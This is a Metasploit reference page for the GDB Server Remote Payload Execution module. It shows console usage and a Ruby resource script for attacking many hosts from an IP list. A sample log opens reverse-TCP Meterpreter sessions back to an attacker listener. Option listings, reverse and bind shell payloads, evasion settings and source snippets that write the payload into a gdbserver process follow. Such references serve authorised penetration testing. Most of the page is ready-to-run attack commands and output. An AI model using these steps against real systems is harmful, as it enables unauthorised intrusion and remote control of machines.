GDB Server Remote Payload Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/gdb/gdb_server_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: GDB Server Remote Payload Execution
Module: exploit/multi/gdb/gdb_server_exec
Source code: modules/exploits/multi/gdb/gdb_server_exec.rb
Disclosure date: 2014-08-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to execute an arbitrary payload on a loose gdbserver service.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using gdb_server_exec against a single host
Normally, you can use exploit/multi/gdb/gdb_server_exec this way:
msf > use exploit/multi/gdb/gdb_server_exec
msf exploit(gdb_server_exec) > show targets
... a list of targets ...
msf exploit(gdb_server_exec) > set TARGET target-id
msf exploit(gdb_server_exec) > show options
... show and set options ...
msf exploit(gdb_server_exec) > exploit
Using gdb_server_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your gdb_server_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/gdb/gdb_server_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
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Msfconsole Usage
Here is how the multi/gdb/gdb_server_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/gdb/gdb_server_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/gdb/gdb_server_exec) > show info
Name: GDB Server Remote Payload Execution
Module: exploit/multi/gdb/gdb_server_exec
Platform: Linux, Unix, OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2014-08-24
Provided by:
joev <[email protected]>
Available targets:
Id Name
-- ----
0 x86 (32-bit)
1 x86_64 (64-bit)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXE_FILE /bin/true no The exe to spawn when gdbserver is not attached to a process.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT yes The target port (TCP)
Payload information:
Description:
This module attempts to execute an arbitrary payload on a loose
gdbserver service.
References:
https://github.com/rapid7/metasploit-framework/pull/3691
Module Options
This is a complete list of options available in the multi/gdb/gdb_server_exec exploit:
msf6 exploit(multi/gdb/gdb_server_exec) > show options
Module options (exploit/multi/gdb/gdb_server_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
EXE_FILE /bin/true no The exe to spawn when gdbserver is not attached to a process.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT yes The target port (TCP)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86 (32-bit)
Advanced Options
Here is a complete list of advanced options supported by the multi/gdb/gdb_server_exec exploit:
msf6 exploit(multi/gdb/gdb_server_exec) > show advanced
Module advanced options (exploit/multi/gdb/gdb_server_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/gdb/gdb_server_exec module can exploit:
msf6 exploit(multi/gdb/gdb_server_exec) > show targets
Exploit targets:
Id Name
-- ----
0 x86 (32-bit)
1 x86_64 (64-bit)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/gdb/gdb_server_exec exploit:
msf6 exploit(multi/gdb/gdb_server_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
36 payload/osx/x86/bundleinject/bind_tcp normal No Mac OS X Inject Mach-O Bundle, Bind TCP Stager
37 payload/osx/x86/bundleinject/reverse_tcp normal No Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
38 payload/osx/x86/exec normal No OS X Execute Command
39 payload/osx/x86/isight/bind_tcp normal No Mac OS X x86 iSight Photo Capture, Bind TCP Stager
40 payload/osx/x86/isight/reverse_tcp normal No Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
41 payload/osx/x86/shell_bind_tcp normal No OS X Command Shell, Bind TCP Inline
42 payload/osx/x86/shell_reverse_tcp normal No OS X Command Shell, Reverse TCP Inline
43 payload/osx/x86/vforkshell/bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Stager
44 payload/osx/x86/vforkshell/reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Stager
45 payload/osx/x86/vforkshell_bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Inline
46 payload/osx/x86/vforkshell_reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/gdb/gdb_server_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/gdb/gdb_server_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No process loaded, attempting to load /bin/true...
Here is a relevant code snippet related to the "No process loaded, attempting to load /bin/true..." error message:
52: print_status "Stepping program to find PC..."
53: gdb_data = process_info
54: rescue BadAckError, BadResponseError
55: # gdbserver is running with the --multi flag and is not currently
56: # attached to any process. let's attach to /bin/true or something.
57: print_status "No process loaded, attempting to load /bin/true..."
58: run(datastore['EXE_FILE'])
59: gdb_data = process_info
60: end
61:
62: gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
The payload architecture is incorrect: the payload is <PAYLOAD.ARCH.FIRST>, but <GDB_ARCH> was detected from gdb.
Here is a relevant code snippet related to the "The payload architecture is incorrect: the payload is <PAYLOAD.ARCH.FIRST>, but <GDB_ARCH> was detected from gdb." error message:
60: end
61:
62: gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
63:
64: unless payload.arch.include? gdb_arch
65: fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.")
66: end
67:
68: print_status "Writing payload at #{gdb_pc}..."
69: write(payload.encoded, gdb_pc)
70:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5173 Merged Pull Request: fix fail_with errors
- #3763 Merged Pull Request: Fixup for release
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cnpilot_r_web_login_loot
- auxiliary/scanner/snmp/cnpilot_r_snmp_loot
- auxiliary/scanner/snmp/epmp1000_snmp_loot
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/http/makoserver_cmd_exec
- exploit/multi/http/rocket_servergraph_file_requestor_rce
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/local/xorg_x11_suid_server_modulepath
- exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
- exploit/multi/misc/indesign_server_soap
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- exploit/multi/realserver/describe
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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